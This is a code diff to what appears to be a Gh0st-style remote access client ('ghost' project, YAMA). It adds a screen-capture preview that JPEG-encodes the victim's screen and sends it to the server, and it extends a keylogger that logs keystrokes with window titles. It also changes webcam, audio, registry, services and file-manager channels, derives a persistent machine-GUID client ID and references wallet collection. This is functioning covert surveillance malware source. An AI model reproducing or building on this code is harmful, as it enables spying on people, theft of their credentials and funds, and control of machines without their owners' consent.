+        if (ulLength < sizeof(ScreenPreviewReq)) break;
+        ScreenPreviewReq req;
+        memcpy(&req, szBuffer, sizeof(req));
+        // 限流：同一时刻最多 1 个抓屏任务在跑，防御服务端洪泛或异常重发把客户端打爆
+        static std::atomic<int> s_inFlight{0};
+        if (s_inFlight.fetch_add(1) >= 1) {
+            s_inFlight.fetch_sub(1);
+            break;   // 直接丢弃，让服务端 4s 超时降级为"预览不可用"
+        }
+        // 投递到工作线程，避免阻塞 OnReceive；抓屏 + 编码可能耗几十毫秒
+        std::thread([this, req]() {
+            struct Guard { ~Guard(){ s_inFlight.fetch_sub(1); } } guard;
+            std::vector<unsigned char> jpg;
+            int w = 0, h = 0;
+            int st = CaptureAndEncodePreview(req.maxWidth, req.jpegQuality, jpg, w, h);
+
+            std::vector<BYTE> pkt(sizeof(ScreenPreviewRspHeader) + (st == SCREEN_PREVIEW_OK ? jpg.size() : 0));
+            ScreenPreviewRspHeader* hdr = reinterpret_cast<ScreenPreviewRspHeader*>(pkt.data());
+            memset(hdr, 0, sizeof(*hdr));
+            hdr->token  = TOKEN_SCREEN_PREVIEW_RSP;
+            hdr->reqId  = req.reqId;
+            hdr->status = (uint8_t)st;
+            hdr->format = SCREEN_PREVIEW_FMT_JPEG;
+            hdr->width  = (uint16_t)w;
+            hdr->height = (uint16_t)h;
+            hdr->bytes  = (uint32_t)(st == SCREEN_PREVIEW_OK ? jpg.size() : 0);
+            if (st == SCREEN_PREVIEW_OK && !jpg.empty()) {
+                memcpy(pkt.data() + sizeof(*hdr), jpg.data(), jpg.size());
+            }
+            if (m_ClientObject && m_ClientObject->IsConnected()) {
+                m_ClientObject->Send2Server((char*)pkt.data(), (int)pkt.size());
+            }
+        }).detach();
+        break;
+    }
+
    case COMMAND_SCREEN_SPY: {
        UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
        if (ulLength > 1) {
            memcpy(user->buffer, szBuffer + 1, ulLength - 1);
            if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0;
        }
-        m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
+        {
+            auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
+            sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+            m_hThread[m_ulThreadCount].p = sub;
+        }
        m_hThread[m_ulThreadCount].user = user;
        m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
        break;
    }

    case COMMAND_LIST_DRIVE : {
-        m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
+        {
+            auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
+            sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+            m_hThread[m_ulThreadCount].p = sub;
+        }
        m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
        break;
    }
@@ -1134,25 +1204,41 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
    case COMMAND_WEBCAM: {
        static bool hasCamera = WebCamIsExist();
        if (!hasCamera) break;
-        m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+        {
+            auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+            sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+            m_hThread[m_ulThreadCount].p = sub;
+        }
        m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
        break;
    }

    case COMMAND_AUDIO: {
-        m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+        {
+            auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+            sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+            m_hThread[m_ulThreadCount].p = sub;
+        }
        m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
        break;
    }

    case COMMAND_REGEDIT: {
-        m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+        {
+            auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+            sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+            m_hThread[m_ulThreadCount].p = sub;
+        }
        m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
        break;
    }

    case COMMAND_SERVICES: {
-        m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+        {
+            auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+            sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+            m_hThread[m_ulThreadCount].p = sub;
+        }
        m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
        break;
    }
@@ -1270,6 +1356,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
            opts.enableResume = queryPending;  // 只有发送了查询才等待响应

            IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn);
+            pClient->EnableSubConnAuth();   // V2 文件传输子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
            if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
                std::thread([files, targetDir, pClient, opts, hash, hmac]() {
                    FileBatchTransferWorkerV2(files, targetDir, pClient,
--- a/client/KernelManager.h
+++ b/client/KernelManager.h
@@ -63,9 +63,34 @@ private:
        if (hForegroundWindow == NULL)
            return "No active window";

-        char windowTitle[256];
-        GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle));
-        return std::string(windowTitle);
+        // 用 W 接口取标题，再转 UTF-8，避免依赖客户端系统 ANSI 代码页
+        wchar_t wTitle[256] = { 0 };
+        GetWindowTextW(hForegroundWindow, wTitle, _countof(wTitle));
+        if (wTitle[0] == L'\0')
+            return std::string();
+
+        int u8len = WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, NULL, 0, NULL, NULL);
+        if (u8len <= 1)
+            return std::string();
+
+        // 协议字段 ActiveWnd[512]，UTF-8 中文最多 3 字节/字符，必要时按完整码点截断
+        std::string out(u8len - 1, '\0');
+        WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, &out[0], u8len, NULL, NULL);
+        if (out.size() >= 511) {
+            out.resize(511);
+            // 回退到上一个完整 UTF-8 码点起始
+            while (!out.empty() && (static_cast<unsigned char>(out.back()) & 0xC0) == 0x80)
+                out.pop_back();
+            if (!out.empty()) {
+                unsigned char lead = static_cast<unsigned char>(out.back());
+                int need = (lead & 0x80) == 0 ? 1
+                         : (lead & 0xE0) == 0xC0 ? 2
+                         : (lead & 0xF0) == 0xE0 ? 3
+                         : (lead & 0xF8) == 0xF0 ? 4 : 0;
+                if (need == 0) out.pop_back();
+            }
+        }
+        return out;
    }

    DWORD GetLastInputTime()
--- a/client/KeyboardManager.cpp
+++ b/client/KeyboardManager.cpp
@@ -76,7 +76,10 @@ CKeyboardManager1::~CKeyboardManager1()
    SAFE_CLOSE_HANDLE(m_hClipboard);
    SAFE_CLOSE_HANDLE(m_hWorkThread);
    SAFE_CLOSE_HANDLE(m_hSendThread);
+    // 仅在离线记录开启时才回写磁盘；否则缓冲区随对象释放，不让 CLEAR 后的新击键意外落盘。
+    if (m_bIsOfflineRecord) {
        m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
+    }
    delete m_Buffer;
    Mprintf("~CKeyboardManager1: Stop %p\n", this);
 }
@@ -129,9 +132,15 @@ std::vector<std::string> CKeyboardManager1::GetWallet()

 int CKeyboardManager1::sendStartKeyBoard()
 {
-    BYTE	bToken[2];
+    // 协议扩展：在 [TOKEN, offline] 后面捎带 2 字节 cap word。
+    // 子连接没经过 LOGIN_INFOR，服务端的 CKeyBoardDlg 没法直接拿到本机能力位 ——
+    // 让客户端自己带过来，避免服务端通过 IP 反查主连接（NAT/127.0.0.1 等场景反查会失败）。
+    // 老服务端读不到 byte 2-3 没关系（只读 byte 1），向后兼容。
+    BYTE	bToken[4];
    bToken[0] = TOKEN_KEYBOARD_START;
    bToken[1] = (BYTE)m_bIsOfflineRecord;
+    WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
+    memcpy(bToken + 2, &caps, sizeof(WORD));
    HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
    return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
 }
--- a/client/LoginServer.cpp
+++ b/client/LoginServer.cpp
@@ -225,7 +225,10 @@ std::string GetCurrentUserNameA()

 #define XXH_INLINE_ALL
 #include "common/xxhash.h"
-// 基于客户端信息计算唯一ID: { IP, PC, OS, CPU, PATH }
+
+// 老算法：基于客户端信息计算唯一ID: { IP, PC, OS, CPU, PATH }
+// 注意：pubIP 不稳定（DHCP/换网络）会让 ID 跳变；同 hostname+同安装路径的多机会撞库。
+// 保留此函数仅为协议兼容（老服务端仍按这个算法验算 RES_CLIENT_ID）。
 uint64_t CalcalateID(const std::vector<std::string>& clientInfo)
 {
    std::string s;
@@ -236,6 +239,52 @@ uint64_t CalcalateID(const std::vector<std::string>& clientInfo)
    return XXH64(s.c_str(), s.length(), 0);
 }

+// 读取 Windows 安装时生成的机器 GUID。
+// HKLM\Software\Microsoft\Cryptography\MachineGuid 是 Windows 安装时生成的随机 GUID，
+// 重装系统才会变；局域网每台机器都不同（即便同镜像，sysprep 也会重置）。
+// 这是比 pubIP/PCName/CPU 都更稳定且更具区分度的硬件标识。
+static std::string GetMachineGuidWindows()
+{
+    HKEY hKey = NULL;
+    // KEY_WOW64_64KEY: 32 位进程也访问 64 位注册表视图，避免 WOW6432Node 重定向。
+    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
+                      "SOFTWARE\\Microsoft\\Cryptography",
+                      0, KEY_READ | KEY_WOW64_64KEY, &hKey) != ERROR_SUCCESS) {
+        return std::string();
+    }
+    char buf[64] = {};
+    DWORD sz = sizeof(buf) - 1;  // 留 1 字节给 NUL
+    DWORD type = 0;
+    LSTATUS s = RegQueryValueExA(hKey, "MachineGuid", NULL, &type,
+                                  (BYTE*)buf, &sz);
+    RegCloseKey(hKey);
+    if (s != ERROR_SUCCESS || type != REG_SZ) return std::string();
+    return std::string(buf);
+}
+
+// 路径归一化：先尝试展开成长路径（如 PROGRA~1 -> Program Files），再小写化。
+// 用于 V2 ID 的输入，保证大小写或长短名变化时同一可执行文件得到同一 ID。
+static std::string NormalizeExePathLower(const char* path)
+{
+    char longPath[MAX_PATH] = {};
+    if (GetLongPathNameA(path, longPath, MAX_PATH) == 0) {
+        // 展开失败（路径不存在等罕见情况）：直接用原值
+        strcpy_s(longPath, path);
+    }
+    CharLowerA(longPath);  // 原地小写化（对 ASCII 简单，对中文路径会按宽字符规则处理）
+    return std::string(longPath);
+}
+
+// 新算法：machineGuid + 归一化路径
+//   - 同机同程序：永远同 ID（不依赖 IP/PCName/OS/CPU）。
+//   - 局域网多机相同镜像：MachineGuid 必不同 → ID 必不同。
+//   - 一台机两份程序在不同目录 → ID 不同。
+uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normalizedPath)
+{
+    std::string s = machineGuid + "|" + normalizedPath;
+    return XXH64(s.c_str(), s.length(), 0);
+}
+
 BOOL IsAuthKernel(std::string &str) {
    BOOL isAuthKernel = FALSE;
    std::string pid = std::to_string(GetCurrentProcessId());
@@ -332,7 +381,17 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
    LoginInfor.AddReserved(IsRunningAsAdmin());
    char cpuInfo[32];
    sprintf(cpuInfo, "%dMHz", dwCPUMHz);
+    // V2 ID 算法：MachineGuid + 归一化路径
+    //   - 同机同程序路径永远同 ID（不依赖 IP/PCName/OS/CPU 漂移）
+    //   - 局域网多机即便同镜像（sysprep 会让 MachineGuid 各不同）也不撞库
+    // MachineGuid 读取失败的极端情况退化到老算法，保兼容。
+    std::string machineGuid = GetMachineGuidWindows();
+    if (!machineGuid.empty()) {
+        conn.clientID = CalcalateIDv2(machineGuid, NormalizeExePathLower(buf));
+    } else {
+        Mprintf("WARN: MachineGuid 读取失败，回退到老 ID 算法\n");
        conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
+    }
    auto clientID = std::to_string(conn.clientID);
    Mprintf("此客户端的唯一标识为: %s\n", clientID.c_str());
    char reservedInfo[64];
--- a/client/ScreenPreview.cpp
+++ b/client/ScreenPreview.cpp
@@ -0,0 +1,188 @@
+// ScreenPreview.cpp
+#include "stdafx.h"
+#include "ScreenPreview.h"
+#include "../common/commands.h"   // ScreenPreviewStatus
+
+#include <windows.h>
+#include <objidl.h>     // IUnknown / IStream — gdiplus.h 依赖它们已声明
+#include <gdiplus.h>
+#pragma comment(lib, "gdiplus.lib")
+
+using namespace Gdiplus;
+
+namespace {
+
+// GDI+ 进程级初始化（与 Bmp2Video 互不冲突；Startup 可重入计数）
+struct GdiplusBoot {
+    ULONG_PTR token = 0;
+    bool ok = false;
+    GdiplusBoot()
+    {
+        GdiplusStartupInput in;
+        ok = (GdiplusStartup(&token, &in, NULL) == Ok);
+    }
+    ~GdiplusBoot()
+    {
+        if (ok) GdiplusShutdown(token);
+    }
+};
+static GdiplusBoot g_boot;
+
+int GetJpegEncoderClsid(CLSID& clsid)
+{
+    UINT num = 0, size = 0;
+    GetImageEncodersSize(&num, &size);
+    if (size == 0) return -1;
+
+    std::vector<BYTE> buf(size);
+    ImageCodecInfo* info = reinterpret_cast<ImageCodecInfo*>(buf.data());
+    GetImageEncoders(num, size, info);
+    for (UINT i = 0; i < num; ++i) {
+        if (wcscmp(info[i].MimeType, L"image/jpeg") == 0) {
+            clsid = info[i].Clsid;
+            return 0;
+        }
+    }
+    return -1;
+}
+
+// 抓主屏到 24bpp Bitmap，目标尺寸已等比换算。
+// 返回新分配的 Bitmap*，失败返回 nullptr。调用者负责 delete。
+Bitmap* GrabPrimaryScaled(int targetW, int targetH)
+{
+    HDC hScreen = GetDC(NULL);
+    if (!hScreen) return nullptr;
+
+    int srcX = GetSystemMetrics(SM_XVIRTUALSCREEN);   // 主屏左上 — 仅取主屏时用 0,0
+    int srcY = GetSystemMetrics(SM_YVIRTUALSCREEN);
+    (void)srcX; (void)srcY;
+
+    int srcW = GetSystemMetrics(SM_CXSCREEN);
+    int srcH = GetSystemMetrics(SM_CYSCREEN);
+    if (srcW <= 0 || srcH <= 0) {
+        ReleaseDC(NULL, hScreen);
+        return nullptr;
+    }
+
+    HDC hMem = CreateCompatibleDC(hScreen);
+    HBITMAP hBmp = CreateCompatibleBitmap(hScreen, targetW, targetH);
+    if (!hMem || !hBmp) {
+        if (hBmp) DeleteObject(hBmp);
+        if (hMem) DeleteDC(hMem);
+        ReleaseDC(NULL, hScreen);
+        return nullptr;
+    }
+
+    HGDIOBJ oldBmp = SelectObject(hMem, hBmp);
+
+    // 高质量缩放：HALFTONE 内插
+    SetStretchBltMode(hMem, HALFTONE);
+    SetBrushOrgEx(hMem, 0, 0, NULL);
+    BOOL bb = StretchBlt(hMem, 0, 0, targetW, targetH,
+                         hScreen, 0, 0, srcW, srcH, SRCCOPY | CAPTUREBLT);
+
+    SelectObject(hMem, oldBmp);
+
+    Bitmap* out = nullptr;
+    if (bb) {
+        // 拷贝 HBITMAP 到 GDI+ Bitmap，避免后续释放设备 DC 影响图像
+        Bitmap tmp(hBmp, NULL);
+        if (tmp.GetLastStatus() == Ok) {
+            out = tmp.Clone(0, 0, targetW, targetH, PixelFormat24bppRGB);
+            if (out && out->GetLastStatus() != Ok) {
+                delete out;
+                out = nullptr;
+            }
+        }
+    }
+
+    DeleteObject(hBmp);
+    DeleteDC(hMem);
+    ReleaseDC(NULL, hScreen);
+    return out;
+}
+
+} // namespace
+
+int CaptureAndEncodePreview(int maxWidth, int quality,
+                            std::vector<unsigned char>& out,
+                            int& outWidth, int& outHeight)
+{
+    out.clear();
+    outWidth = outHeight = 0;
+
+    if (!g_boot.ok) return SCREEN_PREVIEW_NOT_SUPPORTED;
+    if (maxWidth < 64) maxWidth = 64;
+    if (maxWidth > 1920) maxWidth = 1920;
+    if (quality < 1) quality = 1;
+    if (quality > 100) quality = 100;
+
+    int srcW = GetSystemMetrics(SM_CXSCREEN);
+    int srcH = GetSystemMetrics(SM_CYSCREEN);
+    if (srcW <= 0 || srcH <= 0) return SCREEN_PREVIEW_CAPTURE_FAILED;
+
+    // 等比缩放，禁止放大
+    int targetW = (srcW <= maxWidth) ? srcW : maxWidth;
+    int targetH = (int)((double)srcH * targetW / srcW + 0.5);
+    if (targetH <= 0) targetH = 1;
+    // 偶数对齐，JPEG 编码更高效
+    targetW &= ~1;
+    targetH &= ~1;
+    if (targetW < 2) targetW = 2;
+    if (targetH < 2) targetH = 2;
+
+    Bitmap* bmp = GrabPrimaryScaled(targetW, targetH);
+    if (!bmp) return SCREEN_PREVIEW_CAPTURE_FAILED;
+
+    CLSID clsid;
+    if (GetJpegEncoderClsid(clsid) != 0) {
+        delete bmp;
+        return SCREEN_PREVIEW_ENCODE_FAILED;
+    }
+
+    EncoderParameters params;
+    params.Count = 1;
+    params.Parameter[0].Guid = EncoderQuality;
+    params.Parameter[0].Type = EncoderParameterValueTypeLong;
+    params.Parameter[0].NumberOfValues = 1;
+    ULONG q = (ULONG)quality;
+    params.Parameter[0].Value = &q;
+
+    IStream* stream = nullptr;
+    if (FAILED(CreateStreamOnHGlobal(NULL, TRUE, &stream))) {
+        delete bmp;
+        return SCREEN_PREVIEW_ENCODE_FAILED;
+    }
+
+    Status st = bmp->Save(stream, &clsid, &params);
+    delete bmp;
+
+    if (st != Ok) {
+        stream->Release();
+        return SCREEN_PREVIEW_ENCODE_FAILED;
+    }
+
+    HGLOBAL hMem = NULL;
+    if (FAILED(GetHGlobalFromStream(stream, &hMem)) || !hMem) {
+        stream->Release();
+        return SCREEN_PREVIEW_ENCODE_FAILED;
+    }
+    SIZE_T sz = GlobalSize(hMem);
+    if (sz == 0) {
+        stream->Release();
+        return SCREEN_PREVIEW_ENCODE_FAILED;
+    }
+
+    void* p = GlobalLock(hMem);
+    if (!p) {
+        stream->Release();
+        return SCREEN_PREVIEW_ENCODE_FAILED;
+    }
+    out.assign((unsigned char*)p, (unsigned char*)p + sz);
+    GlobalUnlock(hMem);
+    stream->Release();
+
+    outWidth = targetW;
+    outHeight = targetH;
+    return SCREEN_PREVIEW_OK;
+}
--- a/client/ScreenPreview.h
+++ b/client/ScreenPreview.h
@@ -0,0 +1,16 @@
+// ScreenPreview.h
+// 屏幕预览：抓主屏 → 等比缩放 → JPEG 编码，供 COMMAND_SCREEN_PREVIEW_REQ 响应使用。
+#pragma once
+
+#include <vector>
+
+// 抓取主屏并编码成 JPEG。
+//   maxWidth   服务端期望的宽度；客户端按源屏宽度等比缩放，不会强制放大
+//   quality    JPEG 质量 1..100（建议 40..85）
+//   out        编码后的 JPEG 字节流
+//   outWidth   实际编码图宽
+//   outHeight  实际编码图高
+// 返回 0 表示成功；非 0 见 ScreenPreviewStatus（枚举在 commands.h）
+int CaptureAndEncodePreview(int maxWidth, int quality,
+                            std::vector<unsigned char>& out,
+                            int& outWidth, int& outHeight);
--- a/client/SystemManager.cpp
+++ b/client/SystemManager.cpp
@@ -264,8 +264,14 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam)  //要
    LPBYTE	szBuffer = *(LPBYTE*)lParam;
    char	szTitle[1024];
    memset(szTitle, 0, sizeof(szTitle));
-    //得到系统传递进来的窗口句柄的窗口标题
-    GetWindowText(hWnd, szTitle, sizeof(szTitle));
+    // 用 W 接口取标题再转 UTF-8 写入 szTitle，避免依赖客户端 CP_ACP；
+    // 服务端 SystemDlg::ShowWindowsList 按 UTF-8 解码后用宽字符塞进 ListCtrl。
+    wchar_t wTitle[1024] = {};
+    GetWindowTextW(hWnd, wTitle, _countof(wTitle));
+    if (wTitle[0]) {
+        WideCharToMultiByte(CP_UTF8, 0, wTitle, -1,
+                            szTitle, sizeof(szTitle), NULL, NULL);
+    }
    //这里判断 窗口是否可见 或标题为空
    BOOL m_bShowHidden = TRUE;
    if (!m_bShowHidden && !IsWindowVisible(hWnd)) {
--- a/client/ghost_vs2015.vcxproj
+++ b/client/ghost_vs2015.vcxproj
@@ -209,6 +209,7 @@
    <ClCompile Include="reg_startup.c" />
    <ClCompile Include="SafeThread.cpp" />
    <ClCompile Include="ScreenManager.cpp" />
+    <ClCompile Include="ScreenPreview.cpp" />
    <ClCompile Include="ScreenSpy.cpp" />
    <ClCompile Include="ServicesManager.cpp" />
    <ClCompile Include="ServiceWrapper.c" />
@@ -257,6 +258,7 @@
    <ClInclude Include="SafeThread.h" />
    <ClInclude Include="ScreenCapturerDXGI.h" />
    <ClInclude Include="ScreenManager.h" />
+    <ClInclude Include="ScreenPreview.h" />
    <ClInclude Include="ScreenSpy.h" />
    <ClInclude Include="ServicesManager.h" />
    <ClInclude Include="ServiceWrapper.h" />
--- a/client/keylogger.cpp
+++ b/client/keylogger.cpp
@@ -94,9 +94,17 @@ int Save(int key_stroke)
    }

    if (foreground) {
+        // 用 W 接口取标题再转 UTF-8，避免依赖客户端系统 ANSI 代码页：
+        // 老路径 GetWindowTextA 输出的字节是客户端 CP_ACP（中文机=GBK），
+        // 服务端按自己的 CP_ACP 解释会乱码（例如德语机=CP1252）。
        char window_title[MAX_PATH] = {};
-        GET_PROCESS_EASY(GetWindowTextA);
-        GetWindowTextA(foreground, (LPSTR)window_title, MAX_PATH);
+        wchar_t wTitle[MAX_PATH] = {};
+        GET_PROCESS_EASY(GetWindowTextW);
+        GetWindowTextW(foreground, wTitle, MAX_PATH);
+        if (wTitle[0]) {
+            WideCharToMultiByte(CP_UTF8, 0, wTitle, -1,
+                                window_title, MAX_PATH, NULL, NULL);
+        }

        if (strcmp(window_title, lastwindow) != 0) {
            strcpy_s(lastwindow, sizeof(lastwindow), window_title);
@@ -107,7 +115,7 @@ int Save(int key_stroke)
            sprintf_s(tm, "%d-%02d-%02d  %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay,
                      s.wHour, s.wMinute, s.wSecond);

-            output << "\r\n\r\n[标题:] " << window_title << "\r\n[时间:]" << tm << "\r\n[内容:]";
+            output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Content:]";
        }
    }

--- a/client/sign_shim_unix.cpp
+++ b/client/sign_shim_unix.cpp
@@ -0,0 +1,52 @@
+// sign_shim_unix.cpp - Linux/macOS adapter for libsign.a's C interface
+//
+// libsign.a 公开 ABI 是 C linkage（避免 std::string 跨编译器/跨 libstdc++
+// 版本 ABI 风险），但 YAMA 客户端代码（IOCPClient.cpp / KernelManager.cpp /
+// linux/main.cpp / macos/main.mm）习惯用 std::string 调用 signMessage /
+// verifyMessage。本文件提供 C++ 适配，让两边契合。
+//
+// Windows 不编译这个文件——Windows 直接链接私有 .lib 提供的 std::string 版本。
+
+#include <string>
+#include <cstring>
+
+// libsign.a 提供的 C 接口
+extern "C" {
+    int signMessage_c(const char* privateKey, int privateKeyLen,
+                      const unsigned char* msg, int msgLen,
+                      char* outBuf, int outBufSize);
+    int verifyMessage_c(const char* publicKey, int publicKeyLen,
+                        const unsigned char* msg, int msgLen,
+                        const char* sigHex, int sigLen);
+    int isVerifyCalled_c(void);
+}
+
+// 与 YAMA common/commands.h 中 BYTE 一致
+typedef unsigned char BYTE;
+
+// ============================================================================
+// 提供 YAMA 既有声明所期望的 C++ 符号
+// ============================================================================
+
+std::string signMessage(const std::string& privateKey, BYTE* msg, int len)
+{
+    char buf[65] = {};
+    int n = signMessage_c(privateKey.c_str(), (int)privateKey.size(),
+                          msg, len,
+                          buf, sizeof(buf));
+    if (n != 64) return std::string();
+    return std::string(buf, 64);
+}
+
+bool verifyMessage(const std::string& publicKey, BYTE* msg, int len,
+                   const std::string& signature)
+{
+    return verifyMessage_c(publicKey.c_str(), (int)publicKey.size(),
+                           msg, len,
+                           signature.data(), (int)signature.size()) != 0;
+}
+
+int isVerifyCalled()
+{
+    return isVerifyCalled_c();
+}
--- a/common/FileManager.h
+++ b/common/FileManager.h
@@ -1,8 +1,24 @@
+/**
+ * FileManager.h - Unix File Manager
+ *
+ * Implements file transfer between Windows server and Unix client.
+ * Supports: browse, upload, download, delete, rename, create folder
+ *
+ * PLATFORM SUPPORT:
+ *   - Linux:  Supported
+ *   - macOS:  Supported
+ *   - Windows: NOT SUPPORTED (Windows uses different file APIs)
+ */
+
 #pragma once
+
+#if defined(_WIN32) || defined(_WIN64)
+#error "FileManager.h is not supported on Windows."
+#endif
+
 #include <dirent.h>
 #include <sys/stat.h>
 #include <sys/statvfs.h>
-#include <iconv.h>
 #include <unistd.h>
 #include <cstring>
 #include <string>
@@ -11,15 +27,19 @@
 #include <fstream>
 #include <sstream>
 #include <cerrno>
+
+#ifdef __APPLE__
+#include <sys/mount.h>   // macOS: statfs for filesystem type
+#endif
+
+#include <iconv.h>       // Character encoding conversion (GBK <-> UTF-8)
+
+// FileTransferV2 is in the same directory (common/)
 #include "FileTransferV2.h"

-// 外部声明 clientID（在 main.cpp 中定义）
+// External declaration of clientID (defined in main.cpp/main.mm)
 extern uint64_t g_myClientID;

-// ============== Linux File Manager ==============
-// Implements file transfer between Windows server and Linux client
-// Supports: browse, upload, download, delete, rename, create folder
-
 #define MAX_SEND_BUFFER 65535

 class FileManager : public IOCPManager
@@ -222,6 +242,13 @@ private:
    // ---- Get root filesystem type ----
    static std::string getRootFsType()
    {
+#ifdef __APPLE__
+        struct statfs sf;
+        if (statfs("/", &sf) == 0) {
+            return std::string(sf.f_fstypename);  // "apfs", "hfs", etc.
+        }
+        return "apfs";
+#else
        std::ifstream f("/proc/mounts");
        std::string line;
        while (std::getline(f, line)) {
@@ -232,6 +259,7 @@ private:
            }
        }
        return "ext4";
+#endif
    }

    // ---- Ensure parent directory exists (mkdir -p for parent of file path) ----
@@ -307,7 +335,11 @@ private:
        memcpy(buf + offset + 2, &totalMB, sizeof(unsigned long));
        memcpy(buf + offset + 6, &freeMB,  sizeof(unsigned long));

+#ifdef __APPLE__
+        const char* typeName = "macOS";
+#else
        const char* typeName = "Linux";
+#endif
        int typeNameLen = strlen(typeName) + 1;
        memcpy(buf + offset + 10, typeName, typeNameLen);

--- a/common/FileTransferV2.h
+++ b/common/FileTransferV2.h
@@ -1,7 +1,24 @@
+/**
+ * FileTransferV2.h - Unix V2 File Transfer Protocol
+ *
+ * Implements V2 file transfer protocol for Unix clients.
+ * Supports: receive files from server/C2C, send files to server/C2C
+ *
+ * PLATFORM SUPPORT:
+ *   - Linux:  Supported
+ *   - macOS:  Supported
+ *   - Windows: NOT SUPPORTED (Windows uses different file APIs)
+ */
+
 #pragma once
-#include "common/commands.h"
-#include "common/file_upload.h"
-#include "client/IOCPClient.h"
+
+#if defined(_WIN32) || defined(_WIN64)
+#error "FileTransferV2.h is not supported on Windows."
+#endif
+
+#include "commands.h"
+#include "file_upload.h"
+#include "../client/IOCPClient.h"
 #include <unistd.h>
 #include <sys/stat.h>
 #include <fcntl.h>
@@ -15,10 +32,6 @@
 #include <fstream>
 #include <thread>

-// ============== Linux V2 File Transfer ==============
-// Implements V2 file transfer protocol for Linux client
-// Supports: receive files from server/C2C, send files to server/C2C
-
 class FileTransferV2
 {
 public:
--- a/common/IniParser.h
+++ b/common/IniParser.h
@@ -50,47 +50,71 @@ public:
        char line[4096];

        while (fgets(line, sizeof(line), f)) {
-            // 去除行尾换行符
-            size_t len = strlen(line);
-            while (len > 0 && (line[len - 1] == '\n' || line[len - 1] == '\r'))
-                line[--len] = '\0';
-
-            if (len == 0)
-                continue;
-
-            // 跳过注释
-            if (line[0] == ';' || line[0] == '#')
-                continue;
-
-            // 检测 section 头: [SectionName]
-            // 真正的 section 头：']' 后面没有 '='（否则是 key=value）
-            if (line[0] == '[') {
-                char* end = strchr(line, ']');
-                if (end) {
-                    char* eqAfter = strchr(end + 1, '=');
-                    if (!eqAfter) {
-                        // 纯 section 头，如 [Strings]
-                        *end = '\0';
-                        currentSection = line + 1;
-                        continue;
-                    }
-                    // ']' 后有 '='，如 [使用FRP]=[Using FRP]，当作 key=value 处理
-                }
+            ParseLine(line, currentSection);
        }

-            // 不在任何 section 内则跳过
-            if (currentSection.empty())
-                continue;
-
-            // 解析 key=value（只按第一个 '=' 分割，不 trim）
-            // key 和 value 均做反转义（\n \r \t \\ \"）
-            char* eq = strchr(line, '=');
-            if (eq && eq != line) {
-                *eq = '\0';
-                std::string key   = Unescape(std::string(line));
-                std::string value = Unescape(std::string(eq + 1));
-                m_sections[currentSection][key] = value;
+        fclose(f);
+        return true;
    }
+
+    // 从内存加载 INI 数据，返回是否成功
+    // 用于加载嵌入的资源数据
+    bool LoadFromMemory(const char* data, size_t size)
+    {
+        Clear();
+
+        if (!data || size == 0)
+            return false;
+
+        std::string currentSection;
+        const char* p = data;
